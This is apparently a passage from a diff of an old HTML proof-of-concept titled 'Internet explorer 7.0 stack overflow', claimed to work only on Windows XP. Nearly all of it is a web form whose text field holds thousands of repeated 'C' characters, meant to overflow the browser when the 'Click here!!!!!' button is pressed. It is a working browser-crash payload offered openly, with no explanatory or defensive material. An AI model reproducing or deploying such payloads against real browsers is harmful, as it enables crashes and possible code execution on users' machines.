CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCccccabcd"> <input type="submit" value="Click here!!!!!"> </form> Juan Pablo Lopez Yacubian \ No newline at end of file +<h1>Internet explorer 7.0 stack overflow</h1> (this work only in window xp) <form name="input" action="http://A" method="get"> <input type="text" name="A" value="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC